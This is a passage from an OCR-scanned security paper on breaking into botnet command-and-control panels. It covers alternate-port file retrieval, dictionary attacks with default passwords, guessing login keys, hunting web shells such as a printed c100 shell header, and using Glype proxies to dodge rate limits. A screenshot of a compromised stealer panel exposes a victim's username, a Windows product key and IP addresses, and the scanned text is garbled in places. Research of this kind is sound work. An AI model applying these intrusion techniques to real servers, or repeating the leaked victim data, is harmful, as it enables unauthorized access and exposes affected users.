, the server behaves in one of the following manner: (1) redirects to the
third-party server or (2) blocks the request. This behavior has been noticed
in couple of servers hosting C&C panels. It is highly advised that the same
test should be repeated on the other HI'T'P port opened on the server. For
example: a request sent to http://www.ezample.com:8081/RESOURCE-X/
might yield different results. During testing, this technique has provided
some informative results and helps in downloading of C&C configuration
files revealing sensitive information such as credentials, etc. Let’s analyze a
real time case study in this concept.

4.8.1 Case Study - cc9966.com

e During analysis of network traffic, a C&C communication channel was
mapped from the infected host.

e Infected host was communicating with “cc9966.com”.

e Accessing the root directory on “cc9966.com” resulted in 403 forbidden
message.

e Web resource “cmd” (directory) on the C&C server was accessed.

e Another web resource (directory “clk”) was detected through the HTTP
response containing URL in “loadmodule” function.

e Plethora of additional tests were conducted which failed to provide any
additional information from the C&C server.

e On performing scanning, TCP port 81 was found to be opened on the
server.

e HTTP requests were issued to TCP port 81 for accessing same web
resources that resulted in downloading of “cmd” file from the server.

e File revealed source code that resulted in detection of other files and
resources on the server.
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(—Wﬁﬁ.com | ""'C'|

403 Forbidden

nginx/1.2.1

€& @ c9966.com/cmd

Iloadmodulc("http:ft’cc9966.com/clk"."clk")

Figure 17: Port Mapping for Resources on C&C Server !

L) cc9966, comidl/cmd Ol _
| S

loadmeodule("hitp:'cc®P66.com/clk”,"clk™)

You have chosen to openc

& emd
which is: application/octet-stream (1.6 KB)
from: hitps//cc966.com:EL

What should Firefox do with this file?

| Do this sutomatically for files Bke this from now on.

Lok ][ Coma |

Figure 18: Resource is Downloaded from Different Port !
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Figure [17| shows how the different ports provided information. Figure
shows that “cmd” file was downloaded from the server.
Figure [19 shows the information extracted from the downloaded file.

$aid=my

i-]:.l.‘l"lTl_' ql_r

}aindex ind

Lon.

h3
I
H
B
i
.::

Figure 19: Downloaded File Revealed Interesting Information !

4.9 Weak or Default Passwords

Well as usual, default and weak passwords allow taking control over the C&C
panels. It is always a good practice to trigger a dictionary attack with a list
of default and weak passwords. During testing, a couple of C&C panels
were compromised using the weak and default passwords. Possible reason is
that some C&C panels are shipped with default passwords or sometimes bot
herders configure weak passwords. However, it should not be assumed that
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one always find the weak passwords everytime. Figure [20| shows a compro-
mised C&C panel using default or weak password.

Hello, admin

Show All Logs Search Export All Logs Logout

Program url / Host Login Password Computer Date Ip
Check other 2013-05-
www.steampowered.com timissteurjonas passwords of e TE-——G_—_—-———— | G

109.62.38.133 W
user 18:22:59

Microsoft Windows 7 4FG99-BC3HD- 2013-05-
Trillian/Yahoo - Edition Familiale 73CQT-WMF71- . 109.62.38.133 W
Premium 3Q6C9 18:04:43

Pages:  Results 0 - 1000 of about 2 Copy Selected | | Export Selected | | Delete Selected

Page Reccuei Stealer

Figure 20: Compromised C&C using Default or Weak Password !
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4.10 Guessing C&C Login Page Key

On a very few scenarios, the C&C login page is secured by an additional key.
As described earlier, it makes impossible to access the front-end of the C&C
panel (login webpage) remotely, if this key is not known. This key is passed
as a value to a parameter in main C&C login page. For example, consider
following links:

e Without Login Key: wwuw.cc_server.com/panel/index.php
e With Login Key: www.cc_server.com/panel/index.php ?key=[value]

So, the key parameter should be known to the remote user. However,
to handle these scenarios similar set of attacks can be triggered as discussed
earlier. Figure 21| shows the configuration page of the Athena botnet using
the login key for accessing the C&C panel.

Change Password

Old Password
Mews Password

Mew Password
(confirm)

Login Page Key

Key (flogin changeme
Pkey=123)

Figure 21: Login Key Configured for Athena C&C Panel !

All the above-presented case scenarios have revealed very interesting in-
formation about C&C panels that helped in gaining complete access to the
C&C panels.
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4.11 Searching for Remote Management Shells

There are adequate chances that security researchers can encounter remote
management shells hosted on the same servers which are used to deploy C&C
panels. During testing phase, a couple of interesting remote management
shells were detected on C&S server. Figure 22 shows the presence of ¢-100
shell on the C&C server (not in active state). Basically, c-100 shell is an
extension of ¢-99 remote shell. The motive is to perform rigorous search on
the exposed components of the C&C panels to detect interesting files.

& plazamatbaa.com/.css/_reports/files/default/ERIXUNO-PC_3CFOSAEC5262EE56/zikri.php.

<?php

J,I’A’#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**************!
LocusTs Modified cl100 Shell

Beta v. 1.0a - Project x2300

Written by Captain Crunch Team

Modified by Shadow & Preddy

Re-Modified by #!physx”™ (15.2.07)

Hew Modifications Implemented ——

-4dded link to Enumerate to escalate priviledges
—-Ldded Rootshell.c

-4dded Rootshell.c;auto-compiler

-Execute Rootshell.c

-Added Mig-Log Logcleaner

-Execute Mig-Log Logcleaner

-milwdrm =searcher (Grabs 05 and searches milwlrm)
-LocusT7s 5tyle & Image

—Added w4cklng Shell Backdoor Connect and Backdoor
-Added PHP-Proxy link to hide your ass

-&dded your ip and server ip with whois capabilitcy
—Added private Oday released by allahaka which utilizes the linux
sudo bash to execute a stack overflow.

FEB. 14, 2007 RELEASE NOTES:

PRIVATE RELEASE OF C100 SHELL FCR LOCUS75 MEMBERS
FATLURE TC DO 50 WILL RESULT IN LOSS5 OF VIP
MEMBERS ACCESS5, B&W FROM S5ITE, AND NCO REFUND FOR VIF.

PRODUCT INFC:

C100 SHELL CREATED BY CAPTATIN CRUNCH SECURITY TELM
WWW . CCTEAM . RU

B - T T T T SR T T N N I I N T T S T T N 1

Figure 22: Presence of Remote Management Shell on the C&C Server!
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4.12 Proxy Services such as Glype for C&C Panel Surf-
ing

Although, the majority of C&C panels do not deploy protection against
brute-force attempts but one can encounter the rate limiting in place on
the server side if C&C panels are hosted on the compromised servers. It
is recommended that third-party services such as proxies including SOCKS
and Glype including VPNs should be used. For example: - if a brute-force
attempt is made on the C&C server, it is a possible scenario that the IP
address will be blocked or connections will be disrupted for long time. This
behavior has been noticed in the free dynamic DNS provider domains which
are used for hosting C&C panels. This behavior can be extended in all C&C
panel configurations. To gain access to the C&C panel for continuous testing,
use third-party Glype proxies or anonymity services.

_—m— Home u Download u Contact Us u Licenses _

Proxy List

Looking for a glype proxy? Use any of the links below to get a working web proxy. And because every site listed here is powered by glype, y
can be sure you're getting a fast, reliable and widely compatible prosxy.

Enter a URL to visit:

Choose one of 3,358 working proxies:
*** random proxy *** -

http:/f

proxify.co.uk {GB. Custom. S3L})

proxify.net (US. Custom, SSL)

quick-proxy.com (Glype)
proxify.org (US. Custom. SSL)

Figure 23: Glype Proxy Server List !

A paper on Glype proxies attack and defense has been released by our
team earlier. The paper : Abusing Glype Proxies H discussed about the
attacks conducted using Glype proxies. With Glype proxies, it becomes easy

Shttp://www.sciencedirect.com/science/article/pii/S1353485812701125
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to access the C&C panel again. The overall idea is to change the source
[P address so that server verifies that requests for accessing the C&C panel
have originated from different place. Figure [23| shows the open list of proxy
servers available.

Although, it is not necessary that one should use Glype proxy but it is a
good proxy software to use in testing. One can also use other freely available
proxies or VPNs to anonymize the identity.

4.13 Malicious Code on C&C Panels

It should not be assumed that, if C&C panels are accessed directly then there
will be no malicious code encountered. This is not true. It has been found on
several times that malicious advertisements (malvertisements) or malicious
codes have been placed on the C&C administration interface (or server) to
trigger additional infections. While penetration testing, these scenarios can
be encountered. Figure[24)shows a successful notification presented regarding
Google Chrome’s update while accessing the SpyEye’s C&C components.

€ = C [J mypass.lvg

ADS BY BINLAYER

Recommended

~ You are currently browsing the web with Google
Chrome and it is recommended that you update
your video player to the fastest version available.
Please update to continue.

Figure 24: Malvertisement Served through C&C Panel !
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5 Conclusion

To fight with malware, it is important to harness the power of penetration
testing and malware analysis including reverse engineering. There are no
shortcuts to fight against cybercrime.
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6 Appendices

6.1 Publicly Available Resources on Botnets
Some of the interesting public resources on botnets tracking and research:
e Cyber Crime Tracker - http://cybercrime-tracker.net/index.php
e Glype Proxy Lists - http://list.glype.com/
e Zeus Tracker - https://zeustracker.abuse.ch/
e SpyEye Tracker - https://spyeyetracker.abuse.ch/
e Palevo Tracker - https://palevotracker.abuse.ch/
e Feodo Tracker - https://feodotracker.abuse.ch/
e Daily Botnet Statistics - http://botnet-tracker.blogspot.com/

e Shadow Server Botnet Charts - http://www.shadowserver.org/wiki/
pmwiki.php/Stats/BotnetCharts

e Know Your Enemy : Tracking Botnets - The Honeynet Project - https:
//www.honeynet .org/papers/bots/ -

e Shadow Server Botnet Maps History - http://www.shadowserver.
org/wiki/pmwiki.php/Stats/BotnetMapsHistorical

e Akamai Real Time Web Monitor - http://www.akamai.com/html/
technology/datavizl.html

e Botnet Conference (BotConf) - https://www.botconf .eu/

e OpenDNS Threat Portal - http://labs.opendns. com/threat-portal/
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